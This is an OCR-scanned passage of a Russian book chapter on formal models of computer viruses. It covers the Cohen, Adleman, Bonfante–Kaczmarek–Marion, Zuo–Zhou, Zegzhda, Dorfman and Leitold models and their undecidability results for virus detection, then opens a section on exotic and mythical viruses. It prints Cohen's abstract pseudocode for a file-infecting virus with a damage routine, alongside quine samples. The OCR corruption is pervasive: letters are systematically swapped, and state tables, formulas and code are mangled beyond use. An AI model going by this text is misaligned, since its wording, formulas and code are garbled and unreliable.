вом» У5 тогда и только тогда, когда:

V есть непустое подмножество множества 
Т$ профамм для «машинм Тьюринга», 
а М  -  подмножество множества ТМ  «машин 
Тьюринга»

и для каждого вируса V, принадлежавдего V, 
для всех «историй работи» машинн М, 
для всех моментов I и ячеек ленти ), 
если головка в момент I находится 
в позиции

и в момент ( машина находится в начальном 
состоянии,

и на ленте с позиции_/ записан вирус г.1, 

тогда

для момента С’ > 1а поэиции/  сушествует 
вирус » ',  принадлежаадий V, такой что 

в позицииу ,  расположенной вне вируса с>, 

ячейка ленти, начинаюшаяся с/ , содержит 
вирус V ,

и в то же время для момента ( ',  расположен- 
ного между с и г',

вирус с ' записан при помовди машини М.

Провде говоря, Ф. Коэн определил «вирусное множество» как мно- 
жество «машин Тьюринга», способннх перемешать записи на своей 
ленте из одного места в другое. При этом получаются новне элементн 
того же множества, по-прежнему обладаюшие способностью к пере- 
мешению своих записей. Сам Ф. Коэн так пояснял суть своего опре- 
деления: «компьютерннй вирус -  это программа, которая умеет раз- 
множаться».

Под это определение подпадают как обнчнне компьютернне виру- 
сн, так и сетевне черви (если рассматривать в качестве «исполнителя 
инструкций» всю совокупность компьютеров, объединенннх сетью). 
Также по этому определению вирусами являются: содержимое загру- 
зочннх секторов дисковнх накопителей; компилятор, «собираюший»
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сам себя из своего же исходного текста; операционная система, вн- 
полняювдая резервное копирование себя, и т. п. А почему бм нет? Чем 
отличается компилятор от файлового червя? Только контролируемо- 
стью поведения и субъективньш представлением о «полезности» или 
■«вредности» результата работм.

<Машина Тьюринга» представляет собой некое обобшение поня- 
тия «конечного автомата», поэтому последовательность инструкций, 
определяюшую ее поведение, можно оформить в виде таблицм или 
помеченного ориентированного графа. Вот, например, как внглядит 
набор инструкций простейшего «вируса», используювдего алфавит 
данннх I  = {0,1} и множество состояний 5  = {.%, 5,,}, -  см. рис. 7.2.

5 I N О Р
50 0  50 0  0
50 1 51 1 +1
з 1 0  50 1 0
51 1 51 1 +1

Рис. 7.2 ❖ Автомат простейшего компьютерного вируса

Самое главное достоинство подобной модели -  возможность ис- 
следования с ее помошью некоторнх важннх свойств, которнми об- 
ладают не только «математические», но и «настояшие» вирусн.

Например, Ф. Коэн строго доказал, что сухцествуют «вируснне 
множества», чья мовдность эквивалентна мотности множества нату- 
ральньгх чисел, то есть количество всевозможннх вирусов бесконечно, 
и все они отличаются друг от друга. Для демонстрации этого свойства 
он определил для «машинн Тьюринга» несколько составннх опера- 
ций (таблиць1 инструкций для них легко составить самостоятельно);

О  Ц Х ) -  двигать головку влево, пока не встретится символ X;
О  К(Х) -  двигать головку вправо, пока не встретится символ X;
О  С(Х,¥,2) -  заменять X на У, пока не встретится 2.
И написал для «машинн Тьюринга», работаюшей с алфавитом 

I  = {I, К, 0} и набором состояний 5  = {50, ..., %}, следуюший «поли-
морфнмй» вирус (см. рис. 7.3).

Эта программа для последовательностей вида «Ь00...(Ж» создает на 
пустом участке лентн копию, сохраняюшую обшую структуру (пре- 
фикс «Ь», суффикс «К» и «тело», состояшее из «0»), но при каждом 
копировании «тело» удлиняется на единицу за счет дополнительнмх 
нулей. То есть из «ЬОК» гюлучится «ЪООК», потом «ЬОООК», и т. д.
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3 I ___N.__ о 0 8 1 N О 0

1) 80 «1 . . ™ ""'+1' 8)з7 811 1 0
80 е!зе $0 X 0 87 X 88 0 +1

2.; 0 С(0,х,Я) 9) §8 ғцх>
3)з2 В зЗ к +1 10) X 810 0 +1
4)«3 84 +1 11)810 85 X 0
5)64 83 X 0 12)311 К(Х)
6)85 Ц Ю 13)512 813 0 +1
7)86 ЦҲог М 14) 813 813 к 0

Рис. 7.3 ❖ Автомат полиморфного вируса

Интересно, что тем самшм Коэн не просто доказал невозможность 
перечисления всех вирусов в каком-нибудь «черном списке», но и 
фактически предсказал появление полиморфиков.

Еше одним важньш свойством «вирусного множества>> является 
возможность написания последовательности инструкций, которая 
строит на ленте данннх копии для любой конечной последователь- 
ности символов. Пусть «машина Тьюринга» работает с алфавитом 
I  = {г.'0, ..., сА} и способна находиться в состояниях 5 = {х0, ..., %},
тогда «копировальвдик» последовательностей вида ..., »4» мо-
жет бьггь описан следуювдим набором инструкций.

5 I N О Р
$0 \Д) 81 .... \Ю +1 ; распознаеание 0-го симаола

е(5е 80 0 0

зк \Ж 5(к+1) ук +1 ; распознавзние к-го симвопа
8(86 80 0 0

з(к+1) э(к+2) у0 +1 ; запись колии 0-го симеола

5(к+к) 5(к+к) ук 0 ; запись колии к-го символа
Рис. 7.4 ❖ Автомат, строя̂ ций копию 
любой последовательности данних

Фактически доказательство этого свойства обосновнвает теорети- 
ческую невозможность отличения «вируса» от « н е в и р у с а »  только по 
содержимому лентн данннх.

Но особое внимание Коэн уделил обоснованию след)тслцих трех 
тезисов:

О «неразрешимость» -  не сушествует программн для «машинн 
Тьюринга», способной за конечное время определить, является 
другая программа вирусом или нет;

О «невозможность предсказания эволюционирования» -  не су- 
шествует программьт для «машинн Тьюринга», способной за
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конечное время определить, способна ли некая программа пре- 
образовать определенную исходную последовательность на 
ленте в другую последовательность, также определенную за- 
ранее;

О «невьгаислимость» -  не сушествует возможности перечислить 
все последовательности на ленте, которие могут бьпъ порож- 
денн вирусами.

Доказательство первого из них -  самого важного! -  сушествуеткак 
для «машинн Тьюринга», так и для «вируса», алгоритм работн кото- 
рого оформлен на привнчном для нас алгоритмическом язьпсе. В сво- 
ей очередной модели Ф. Коэн описал алгоритм работн простейшего 
вируса-«паразита» примерно так: 
ргодгаш ВИРУС :=

1234567; /-  "Сигнэтура" */

зиЬгоиПпе ИНФИЦИРОВАТЬ_ПРОГРАММУ : =
{
1оор:
фай.п = ПОЛУЧИТЬ_ПРОИЗВОЛ ЬНЬ1Й_ПР0 ГРАММНМЙ_ФАЙЛ;
Н  ПЕРВАЯ_СТРОКА_ФАЙЛА = 1234567 №еп до*о 1оор,
ВПИСАТЬСЯ_В_НАЧАЛО_ФАЙЛА;

>

зиЬгоиПпе ВНПОЛНИТЬ_ПОВРЕЖДЕНИЯ : =
I
ВЬ1П0ЛНИТЬ_ЗАРАНЕЕ_ПРЕДУСМ0ТРЕНН0Е_Д ЕЙСТВИЕ

}

зиЬгоиПпе УСЛ0ВИЕ_С0БЛЮДЕН0 : =
(

8Ь1ПОЛНЕНО_НЕКОЕ_УСЛОВИЕ № П гегигп ИСТИНА;
}

яа1п-ргодгал1: =
(
ИН ФИЦ И РО ВАТЬ_ ПРО Г РАММУ:
11= УСЛОВИЕ_СОБЛЮДЕНО №еп ВЙПОЛНИТЬ.ПОВРЕЖДЕНИЕ;
доТо пехг;
}

пехТ:
}

К сожалению, Ф. Коэн предусмотрел в своем типичном вирусном 
алгоритме процедуру нанесения ушерба, что заложило «теорети-
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ческий фундамент» под мнение о безусловной вредоносности всех 
вирусов и, возможно, даже спровоцировало возникновение в даль- 
нейшем множества действительно опасншх саморазмножаюшихся 
программ. Впрочем, сейчас речь не об этом.

Определив типичньш вирусннй алгоритм и предположив, что су- 
шествует некая решаюшая процедура «ЯВЛЯЕТСЯ_ВИРУСОМ», 
способная отличать вируснне программн от невирусннх, Коэн пред- 
ложил к рассмотрению следуюшую модификацию этого алгоритма:
ргодгат ВИРУС_ИЛИ_НЕ_ВИРУС: : =
{

» ат-р год гат: =
{

1 Г ЯВЛЯЕТСЯ_ВИРУСОМ(ВИРУС_ИПИ_НЕ_ВИРУС) = ложь 
Iпе п ИНФИЦИ Р0ВАТЬ_ПРО ГРАММУ;

>

Эта программа обрашается к решаюшей процедуре «ЯВЛЯЕТСЯ_ 
ВИРУСОМ», которая должна возврашать значение «ИСТИНА», 
если аргумент. переданньш ей для тестирования, инфицирует другие 
программн, то есть если он является вирусом. В противном случае 
процедура возврашает значение «ЛОЖЬ». Легко видеть, что если 
программа <ВИРУС_ИЛИ_НЕ_ВИРУС» сама не является вирусом, 
то внполняется специфическая вирусная процедура «ИНФИЦИРО- 
ВАТЬ_ПРОГРАММУ», и, таким образом, исходное предположение о 
«безобидности» программь1 ложно. И наоборот.

Из этого можно сделать простой и однозначннй внвод: не сушест- 
вует и не может сушествовать алгоритма, способного отличить «ви- 
рус» от -«невируса».

Внвод легко обобшается не только на вирусов-<-<паразитов>>, но и 
на червей и, вообше, на любне саморазмножаюшиеся программн. 
Разумеется, он в полной мере справедлив только для абстрактной ма- 
шинн, обладаюшей бесконечно длинной лентой данннх и неограни- 
ченной памятью для набора инструкций.

На практике проблема «вирус-или-не-вирус» довольно успеш- 
но решается введением и использованием понятия «нежелательное 
программное обеспечениеь- (тактге). «Вирусом» (и «вредоносной 
программой» вообше) может считаться любая программа, которую 
типичньш пользователь не хотел бн видеть на своем компьютере. Ре-
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шакяцая процедура, присутствуюшая в антивирусном программном 
обеспечении, отличает «вирус» от «невируса» не по признаку воз- 
можности саморазмножения, а по сигнатурам, контрольннм суммам, 
нехарактернмм для «нормальннх» программ фрагментам, подозри- 
тельному поведению и т. п. Речь об этом в нашей книге пойдет дальше.

7.1.2. Модель Л. Адлемана
Известньш специалист в области зашитн информации Л. Адлеман 
(Ьеопагс! АсИешап) в своей статье «Абстрактная теория компьютер- 
ннх вирусов» (1988 г.) определил компьютерннй вирус-«паразит» 
через понятие «заражения» [33]. Понятие «размножения» в этом 
определении тоже присутствует, но неявно, в силу рекурсивности 
определения.

В основе модели Адлемана лежит тезис о том, что для каждой 
программн возможнн как «здоровая», так и «зараженная» формн, 
и, соответственно, сушествует некая функция, преобразуюшая про- 
грамму из первой формн во вторую. Эту функцию (а точнее алго- 
ритм, ее внчисляюший) Адлеман и ассоциировал с «компьютерннм 
вирусом».

Чтобн абстрагироваться от конкретннх алгоритмов, условий их 
применения, данннх, с которнми они работают и т. п., и перейти от 
всего многообразия рассматриваемнх сушностей к целнм числам, 
Адлеман использовал «Геделевские мумерации* -  остроумньга способ 
пронумеровать каждьт знак (включая цифрн, буквн, знаки арифме- 
тических действий, кванторн и т. п.) и, произведя над ними опреде- 
леннне действия, получить для каждого математического внражения 
его уникальннй номер -  так назнваемьш чГеделев номер», или туме- 
рал*. Таким образом, как аргументн, так и сами функции (алгорит- 
мн) для Адлемана суть целне числа.

Далее Адлеман определил отношение «подобия с точностью до 
функцииН»\р=д. По Адлеману, двачислар к д «подобннсточностью 
до Н», если два алгоритма, нумералами которнх эти числа являются, 
либо в точности совпадают, либо содержат элементн-суперпозиции 
с к. Например, «подобньми с точностью до к» будут алгоритмн: 
-г = у  + 2 , х  = к(у + г), х  = Н(у) + 2 , х  = у  + Н(г), х  = к(у) + к(г) и соот- 
ветствуюшие им нумералн.

Наконец, использовав принятую в теории алгоритмов нотацию 
обозначения рекурсивннх функций фр = <р(р), Адлеман составил сле- 
дукмцее определение.
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Д ля всех Геделевских нумераций частично рекурсивнь/х функций 
{ф,} полностью определенная рекурсивная функция \/является ви- 
русом по отношению к {ф,} тогда и только тогда, если для всех  с/, 
р  е 5;
1) либо  V/, ) е И: ф̂ 0(с/, р) = $т (с), р) -  то есть после заражения 

вьшолняется совсем иной, не предусмотреннь/й в программе 
алгоритм;

2) либо  V/ е Л/: фДс/, р) = ф р )  -  то есть алгоритмь/ работьI 
исходной и зараженной программ «подобнь/ с точностью до 
вирусного преобразования V».

В этом определении 5 -  множество всевозможнмх конечнмх по- 
следовательностей натуральнмх чисел, р -  программньтй код, (1 -  не 
подверженнне инфицированию «даннне». Для охвата определе- 
нием полиморфиков вместо отдельной вирусной функции V нужно 
рассматривать множество М  всевозможнмх частично рекурсивнмх 
функций. Поскольку определение описмвает «текушее» состояние 
программм на основании «предндушего», тем самьш неявно обосно- 
внвается свойство «разхшожаемости» вирусов.

Первмй случай применения определения соответствует «пере- 
записнваюшим» вирусам, замевдаюшим собой жертву и вмполняю- 
шимся вместо нее. Адлеман назвал подобнмй способ заражения «по- 
вреждением».

Второй случай, в соответствии с понятием «подобия алгоритмов 
с точностью до функции», распадается на две стратегии поведения 
зараженной программн -  «имитацию» и «заражение». При «имита- 
ции»- вирус «спит» и никак не влияет на результатн работь1 заражен- 
ной программн -  функция о или вообше не применяется к элементам 
алгоритма, или внполняет тождественное преобразование. При «за- 
ражении» вирусное преобразование V внполняет (возможно, неодно- 
кратно) какое-то действие, ранее не свойственное программе, но сама 
программа все-таки вьшолняется.

Под определение Л. Адлемана попадают вирусм-«паразитн», 
прикрепляюшиеся к другим программам и запускаюшиеся вместе с 
ними. Также, по этому определению, «вирусами» являются, напри- 
мер, «упаковшики» программинх файлов (типа РКЬпе для М 8-В05 
или ЪТРХ для \ У ! п с 1о > У 5 ), «навеснме» системм привязки программ к 
ключевмм носителям (типа НА5Р для «электронннх ключей» или 
5(;агҒогсе для СБ-дисков) и другие, не менее полезнне программн. 
Любой «новнй» драйвер, в том числе и антивирусннй, тоже является 
вирусом по отношению к операционной системе.
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Для чего же Адлеману понадобилось это определение?
Прежде всего, пользуясь им, Адлеман составил классификацию 

программ, зараженнмх компьютернмми вирусами-«паразитамик 
в которую попали как сушествовавшие на тот момент, так и «гипо- 
тетические» разновидности. Вот эта классификация (с точки зрения 
стратегии поведения зараженной программм).

Вредоносние

Заразнме

Рис. 7 .5  ❖ Классификация вирусов 
по Л. Адлеману

Но самое главное, ради чего Адлеман сочинял свое определение, -  
это изучение возможности различения «зараженннх» и «здоровмх» 
программ. Вмвод автора статьи, подкрепленньш строгим математиче- 
ским доказательством, однозначен: задача детектирования вирусного 
алгоритма по способности заражать исключительно сложна. Более 
конкретно:

множество I/ = {? | ф, -  /з а мгиз} обладает свойством П2-полноть!.
Дело в том, что алгоритмм можно классифицировать по их вм- 

числительной сложности. Считается, что одному и тому же классу 
принадлежат алгоритмм, вьшолняемме при помоши «машинм Тью- 
ринга» с использованием примерно одинакового количества ресур- 
сов (шагов машинм или ячеек на ленте даннмх). Классм сложности 
образуют разветвленную иерархию (см. рис. 7.6).

Наиболее «востребованн», изученн и реализованм в различннх 
приложениях (например, в криптографических) алгоритмн классов 
Р и МР.

Классу Р принадлежат решаклцие алгоритмн, которне вьшолня- 
ются за время, зависяхцее полпномиально от размера исходннх дан- 
ннх (длинн входного аргумента на ленте «машинн Тьюринга»).

Класс МР характеризуется решаюшими алгоритмами, которне 
предусматривают полнмй перебор всевозможннх вариантов ответа

п - и Троянские кони

л 3 - Вирупвнтм

- 3 - Переносчики

- - и Безареднме
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Рис. 7.6 ❖ Иерархия классов 
внчислительной сложности

и вибор правильного при помоши алгоритма класса Р. Особую роль 
играют экстремально-сложнне алгоритмн подкласса МРС (их еше на- 
знвают лМР-гюлньши>). Время, требуемое для внполнения Д7Р-пол- 
ннх алгоритмов, растет не полиномиально, а по экспоненте.

А что же класс П2? Взглянув на изображение иерархии, легко убе- 
диться, что в него входят алгоритмн, с вьхчислительной точки зрения 
гораздо более сложнне, чем даже ИР. А точнее, это алгоритмн поиска 
в счетном, но бесконечном множестве [28]. Короче говоря, по Л. Ад- 
леману, не сувдествует алгоритма, которьш за конечное время рабо- 
тн дал бн однозначньга ответ: является рассматриваемая программа 
(точнее, ее алгоритм) вирусом или нет.

7.1.3. «Французская» модель
Модель французских авторов Ж. Бонфана (С. Воп£ап1е), М. Качма- 
река (V. Касгшагек) и Ж-И. Мариона (]-У Мапоп), рассмотренная 
в статьях «Абстрактное детектирование компьютерннх вирусов» [41 ] 
и «Классифнкация вирусов при помотци теоремн о рекурсии» [42], 
построена с использованием примерно такого же математического
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аппарата, что и модель Л. Адлемана. В ее основе лежит известная в 
теории алгоритмов «теорема Клини»: для любой частично рекурсив- 
ной функции §  одного аргумента всегда найдется такое натуральное 
п («неподвижная точка»), что п =£(п). Памятуя, что п может играть 
роль «нумерала» какой-нибудь иной функции или алгоритма, можно 
обобвдить эту формулировку до вида: ф /х) = §(е, х), где х  -  произ- 
вольньш аргумент функции или набор данних для программн, е -  не- 
кий алгоритм, а фе = <р(е) -  программа, полученная в результате запи- 
си ее алгоритма на язнке

Одним из очевидннх следствий этой теоремн является сувдество- 
вание программ, способннх размножаться, «печатая» свой собствен- 
нмй текст, -  так назьшаемнх «куинов» или «куайнов» (по имени 
американского математика \'ап Ци^пе). Написать «вирус» подобного 
рода часто предлагают продвинутьш школьникам на олимпиадах по 
программированию. Основная идея решения на естественном язнке 
описнвается следуюшим образом:
Напечатать деаждь), второй раз в кавучках, с л е д у ш и й  т е к с т :

'Н а п е ч а т а т ь  д важ дм , в т о р о й  р а з  в к а в н ч к а х ,  с л е д у ю т и й  т е к с т : "

Вот, например, как может внглядеть реализация этой идеи на язн- 
ке Си (с учетом того, что 34 -  это А5СП-код двойной кавьмки):
шатпО { спаг *5="!ва1п() { сйаг *з=%с%з%с; рппТ ^ Ч з,3 4 ,з , 34); }"; 
р П п Т ^ з , 34, 8 ,34 ); }

А вот вариант на Паскале:
сопзт а = " ’ ;Вед1 п и ги е (Ь е ,Ь ,а :1 .а >а ;4 .Ь ,(ж ,а :3 ,& ,Б .а :1 18)еп<).'4,0е='соп&1: а ‘ ; й = '= " ';  
Ь едш  м П ге (Ь е ,Ь . а; 1 ,а ,а :4 ,Ь ,Ь е ,а ;3 ,в .Ь ,а :1 .а } е п () .

«Куинн» возможнн практически на любом язнке программиро- 
вания. Курьез: «куин» на язнке ассемблера, написанньш А. Отенко, 
даже попал в вируснне базн под именем У1Н;оо1.Ар1агу и теперь без- 
жалостно уничтожается антивирусами.

А гртопа французских математиков пошла дальше «куинов», про- 
демонстрировав, что «теорема Клини» может служить теоретическим 
базисом для полноценного определения всего класса вируснмх про- 
грамм.

Пусть]  -  некий язнк программирования, х  -  произвольньш набор 
даннмх, р  -  некая «здоровая» программа, V -  вирус, В -  функция ин- 
фицирования, В(г, р) -  результат заражения программн р  вирусом V. 
Тогда все они находятся в отношении:
<$„(р,х) = Ъь.р)(х).
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Опираясь на «теоре.му Клини», лепсо показать, что для любой про- 
граммн р  всегда найдется функция В, преобразуютцая ее в форму, 
«инфицированную» другой программой V. ф„(р, х) = фв(с, р, х) = фВ(г, 
р)(х). Кроме того, авторн статьи продемонстрировали, что определе- 
ние Л. Адлемана является частннм случаем определения, опираюиде- 
гося на «теорему Клини». Примером вредоносннх программ, кото- 
рне не охватнваются определением Л. Адлемана, но удовлетворяют 
«французскому» определению, являются некоторне разновидности 
вирусов-«спутников», не внедряювдиеся в «жертву», но меняювдиеся 
с ней местами или именами (например, НЬЬС.АМв.8064, рассмотрен- 
ньш в главе, посвявденной ВОЗ-вирусам).

Главннм же достоинством «французской» модели является воз- 
можность более точной оценки сложности распознаювдих алгоритмов.

С одной сторонм, авторн модели пришли к такому же внводу, что 
и Л. Адлеман: множество всевозможннх вирусннх алгоритмов П2 -  
полно, а любой универсальннй алгоритм отличения «вируса» от «не- 
вируса» невьгчислим.

С другой сторонн, они обосновали следуювдее утверждение: сутде- 
ствует подмножество функций инфицирования, которое разрешимо, и, 
соответственно, задача определения принадлежности образца к этому 
множеству внчислима. К сожалению, условия, при которнх это воз- 
можно, довольно искусственнн: например, ограниченность множества 
вирусннх алгоритмов. Тем не менее в рамках «французской» модели 
впервне продемонстрировано, что внводь1 Л. Адаемана о невозмож- 
ности детектировать вирусн по свойству «заразности» не абсолютнн.

Кроме того, «французская» модель позволяет теоретически обо- 
сновать корректностъ реально применяемнх методов антивирусной 
борьбн. Например, в статьях доказано, что если какая-нибудь функ- 
ция размножения В заранее известна, то задача детектирования за- 
раженной программм в худшем случае «всего лишь» А^Р-полна. Дей- 
ствительно, количество различннх модификаций полиморфного 
вируса велико, но конечно. Задача детектирования конкретного ви- 
руса сводится к сравнению тестируемого экземпляра со всевозмож- 
ннми мутациями.

Такова же сложность задачи детектирования «вирусоподобннх» 
функций, то есть тех, которне обладают только частью свойств функ- 
ции размножения. Впрочем, показано, что подмножеству подобннх 
функций (авторн назвали его термином «§егт») принадлежат, в чис- 
ле прочих, и вполне легальнне алгоритмн, а кроме того, часть виру- 
сов «живет» вне этого множества.
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7.1.4. Прочие формальнью модели
Разумеется, перечень теоретических моделей компьютерньгх виру- 
сов не исчерпьгеается разработками Ф. Коэна, Л. Адлемана и груштн 
французских авторов. Многие исследователи «сочиняли» свои соб- 
ственнне формальнне модели, в рамках которнх удобно бнло решать 
ту или иную конкретную задачу. Вот некоторне из них.

7.1.4.1. Модель китайских авторов 2. 2ио и М. 2Нои
Эта модель также использует нотацию, принятую в теории ре- 

курсивннх функций, и является расширением модели Л. Адлемана. 
Главная цель, которую перед собой поставили авторн, -  возможность 
четкой классификации различннх типов компьютерннх вирусов [77]. 
В их модели программн рассматриваются как векторн из множества 
элементов: р  = (г,, ц , ..., г„), причем для обозначения программ с видо- 
измененннми элементами используется нотация = (г4, г2, ■■■■]>.,
..., гп), а для указания функции, которая произвела эту модификацию, 
используется обозначение р[п(ц)] = р[^(ц)/ч] = (Ь> Ч> ■■■> ■■■> *„)•
Такой подход позволил авторам конкретизировать, какой именно 
элемент модифицируется вирусом в программе или операционной 
системе в результате заражения, и, соответственно, внделить раз- 
личнне типн вирусов. Например, в рамках этой модели бнли опре- 
деленн:

О  нерезидентннй вирус V ,  которнй внедряет свой код внутрь про- 
граммн р) = Ф((й?, /з[г'(5(р))]) и заставляет ее внполнять 
«чужую» функцию 5;

О резидентний вирус, которий заставляет программу «внепла- 
ново» обравдаться к операционной системе фо,0(^, р) = ф.(<̂ , 
р[г!($у$)]), а операционную систему -  вместе с обработкой это- 
го обравдения вьшолнять «посторонний» код Ф ^ / ^ р )  = 
/)[у(5(£))]);

О  полиморфннй вирус, которьш по т-ой продуцирует (т + 1 )-уто 
модификацию Р) = РМ™ + £(Р))]) и т-п-

7.1.42. Векторная моделъ Д. Зегждм
Эта модель бьтла разработана преимушественно для описания за- 

ражения вирусами-паразиташ1 программ операционной системн 
М 5-005  [9]. Но она частично актуальна и для других типов про- 
грамм. В данной модели как «нормальная» программа, так и вирус 
представленн в виде векторов. Процесс заражения вирусом V про-
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грамми Р  происходит в результате последовательного вьшолнения 
трех функций1:
Р ' = 1(0(Р), А(У)),
где /)  -  «возмувдение», то есть подготовка программн к заражению, 
например коррекция в заголовке ЕХЕ-программм адреса точки входа 
или переписнвание начала СОМ-программн в ее конец; А  -  созда- 
ние копии вируса, подготовленной для внедрения в конкретную про- 
грамму, например содержавдей в «загашнике» старое значение адреса 
точки входа из заголовка ЕХЕ-программ; I  -  инфицирование, вписн- 
вание вирусной копии внутрь программн. Также автор предположил, 
что «тело» вируса есть А( V) = (2( V") + 5(У), где -  настраиваемая 
часть вируса, 8  -  постоянная часть вируса, «+» -  обобвденная опера- 
ция «встраивания» одного вектора в другой. Довольно простая и не 
учитнваювдая многих нюансов модель Д. Зегждн тем не менее по- 
зволяет обосновать:

О поиск зараженнмх программ по постоянной части вирусного 
вектора (сигнатуре);

О «лечение» зараженнмх программ при помовди применения 
в обратяом порядке функций, обратннх к Д £ ) и  I.

7.1.4.3. Модели на основе абстрактншх 
•«вътислителей>
Характерная для этого класса формализмов модель А. Дорфмана 

(г. Самара) [7] является расширением модели Ф. Коэна. Основньши 
ее особенностями являются:

О сравдивание «лентн даннмх» и «набора инструкций» в единую 
«память», что позволило превратить «машину Тьюринга» в не- 
кий абстрактннй «вьгчислитель», построеннмй в соответствии 
с архитектурой фон Неймана;

О разделение внчислительного пространства, предоставленно- 
го в распоряжение программн, на исполняеммй код и изме- 
няемне даннне, и введение индексов-указателей для них -  1Р 
и А;

О определение состояния 5((, и /)  «вмчислителя» как множества 
значений, зафиксированннх для момента времени I в области 
памяти, начинаювдейся с позиции I и имеювдей длинуу.

1 В оригинальной работе Д. Зегжди вместо функциональннх преобраэова- 
ний кода используются операторнне.
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Этих нововведений оказалось достаточно, чтобн описать понятия 
«прикладная программа», «операционная система», «файл» и т. п. 
Кроме того, в терминах данной модели оказалось возможнмм опре- 
делить и вирусное множество V. По А. Дорфману, вирусами являются 
программн V , V '  е V, для котормх при вьтолнении условий:

1) 5(1, г, |г>| =  V  -  в момент I  вирус V  располагается в позиции г и
2) Р(1) е { ] , +  [г>| -  1} -  вирус «работает», -

сушествуют такая область пам яти/ длиной |?/|, лежавдая вне тела ви- 
руса V (то есть либо} ' >} + |<у|. ли бо / + |о'| <_/'), и такой момент времени 
I’ > I, что А({') е {}’,...,} + 1?<1 -  1}. Инмми словами, вирус -  это такая 
программа, которая, модифицируя какую-то иную область памяти, 
формирует в ней другую программу, также являювдуюся вирусом.

Нетрудно видеть, что хотя это определение во многом совпадает с 
тем, которое дал Ф. Коэн, однако позволяет дифференцировать ви- 
русн по их поведению -  способности модифицировать ту или иную 
область памяти, тот или иной объект (прикладную программу, опе- 
рационную систему или файл) тем или инмм образом. Кроме того, 
описанньш в рамках этой модели «вмчислитель» и его компонентм 
(прикладнме программм, операционная система, файлм, вирусн) мо- 
гут бнть легко смоделированн на ЭВМ, что позволяет исследовать 
поведение программ, принимать решения об их принадлежности или 
непринадлежности к классу вирусов и т. п.

Имеются и другие абстракции, обладаюшие подобннми свой- 
ствами, например модель Ференца Лейтольда на основе «КА8 РМ 
ич1Ь АВ5» (Капс1от Ассекя 5(огес1 Рго§гат МасЬхпе \уИЬ Аг1асЬес1 
Васк§гоипс1 5Ьога§е -  Профаммируемая машина с произвольннм 
доступом к памяти и дополнительннм хранилишем). Эта модель по- 
зволяет не только моделировать поведение вирусов в вьтчислитель- 
ной среде, но и получать теоретические результать1 [47]. В частности, 
в рамках модели Ф. Лейтольда доказано, что сложность задачи обна- 
ружения программ, зараженннх заранее известнмми неполиморфнн- 
ми вирусами, не превншает Ь х М  х Лг операций, где Ь -  максимальная 
длина анализируемой программн, М  -  количество известннх виру- 
сов, N  -  максимальная длина сигнатурн. Для полиморфнмх же виру- 
сов в силе остается внвод французских авторов -  сложность задачи 
распознавания экспоненциальна.

Таким образом, все рассмотреннне теоретические модели дают ан- 
тивирусам шанс на стопроцентное распознавание только для заранее 
известннх разновидностей «заразм», да и то, в случае полиморфнмх 
вирусов, оно будет сопряжено с немалмми вьшислительнмми затра-
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тами. Но ведь человек справляется с задачей распознавания в любом 
случае, даже в том, для которого строго доказана «неразрешимость». 
В чем же дело, неужели абстрактнме модели некорректни?

Разумеется, с математической точки зрения они безупречнм. 
Просто человеческое мншление не алгоритмизуется, мозг не может 
бьггь представлен в виде «машинм Тьюринга», а алгоритм его рабо- 
тн не описьшается «рекурсивннми функциями». Вот такая «мелочь» 
и дает человеку решаюшее преимувдество, по сравнению с любнми 
антивирусами.

7.2. «Экзотмческие» вирусь!
Бгюлог замоляал, извлек пшстмассовую коро- 
бочку и поднес ее к уху.
-  Тудят, -  сообцил он. -  Уникальнейшие су- 
ьцества. Редчайшие... Редчайшие.

А. и Б. Стругацкие.
«Чрезвмчайное происшествие»

Итак, исследования, проведеннне Ф. Коэном, позволяют сделать вн- 
вод, что компьютернне вирусн (саморазмножаюшиеся программн) 
возможнн в любой вьғшслительной системе. С другой сторонн, в ра- 
ботах французских авторов Ж. Бонфана, М. Качмарека и Ж.-И. Ма- 
риона показано, что компьютернне вирусн могут бнть созданн с ис- 
пользованием практически любого алгоритмического язнка. Тем не 
менее широкую известность приобрело сравнительно небольшое 
количество разновидностей вирзгсов для ограниченного количества 
операционннх систем и нрикладннх программ. Означает ли это, что 
остальнне средн, в которьк потенциально могут сухцествовать виру- 
сн, по какой-то причине оказались устойчивн к компьютерной «за- 
разе»?

Отнюдь. Е. Касперский в своей «Вирусной энциклопедии» сфор- 
мулировал три основннх условия появления вируса в той или иной 
среде:

О популярность, то есть широкое распространение данной сис- 
темн;

О документированность -  наличие разнообразной и достаточно 
полной документации по системе;

О незашшценность системн или сушествование известннх уяз- 
вимостей в ее безопасности и приложениях.
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Каждое из перечисленнмх условий Е. Касперский счел необходи- 
мьш, а одновременное вьшолнение всех трех -  достаточнмм для по- 
явления разнообразнмх вредоноснмх программ [14].

Иннми словами, вирусн возможнм практически везде. Но их пи- 
шут конкретнне люди с конкретннми целями. Чавде всего вирусн 
создаются для той средн, в которой их провде написать, где они бнст- 
рей и шире распространятся, посетят большее количество компью- 
теров. Можно, конечно, самостоятельно разобраться в устройстве 
какой-нибудь редко используемой специфической средн, написать 
для нее вполне жизнеспособньга вирус, но распространения он не по- 
лучит, внимания к себе не привлечет, подражаний не внзовет и тихо 
упокоится в «пробирке» вирусолога. Вот почему все пишут вирусм на 
язьжах ассемблера или Си для ДМтсЬтУз, и никто, находясь в здравом 
уме и твердой памяти, не и с п о л ь зу е т  для этого язнк Е1££е1 и операци- 
онную систему 03 /2 .

Тем не менее подобное иногда случается, и под витринньши стек- 
лами в музее экзотических вирусов подчас можно обнаружить под- 
линнне «жемчужинн». Давайте же бросим на них бегльш взгляд.

7.2.1. Мифические вирусм
Пожалуй, наиболее экзотической разновидностью вирусов являют- 
ся те из них, которме... никогда не сувдествовали. Как ни странно, их 
очень не мало, и увдерб от них сравним с потерями от реальнмх вре- 
доносннх программ. Но даже если вреда от них и не наблюдается, ре- 
зонанс они внзнвают большой.

Прежде всего стоит упомянуть мифический вирус № сЬок, «кон- 
фиденциальнмми сведениями» о котором в конце 1980-х годов обме- 
нивались друг с другом сами вирусологи. Цитату из воспоминаний 
Д. Грязнова -  очевидца «охотн» за этим вирусом -  можно найти внше, 
в главе, посвявденной загрузочной «заразе». Здесь же напомним, что 
ложная информация о №сЬо1з и его «сигнатура» понадобились авто- 
рам одного из антивирусов в качестве «маркера» для разоблачения 
«коллег», воруювдих чужие разработки. В конце 2009-го история 
повторилась: немецкие журналистьт «подбросили» мировому анти- 
вирусному сообвдеству ложную информацию о вредоносности совер- 
вденно «здорового» файла, -  и через несколько месяцев два десятка 
антивирусов уже распознавалп его в качестве вредоносной програм- 
мн. Лаборатория Касперского повторила эксперимент -  на этот раз 
целая группа из 1 0  «чистнх» файлов регулярно загружалась на сайт 
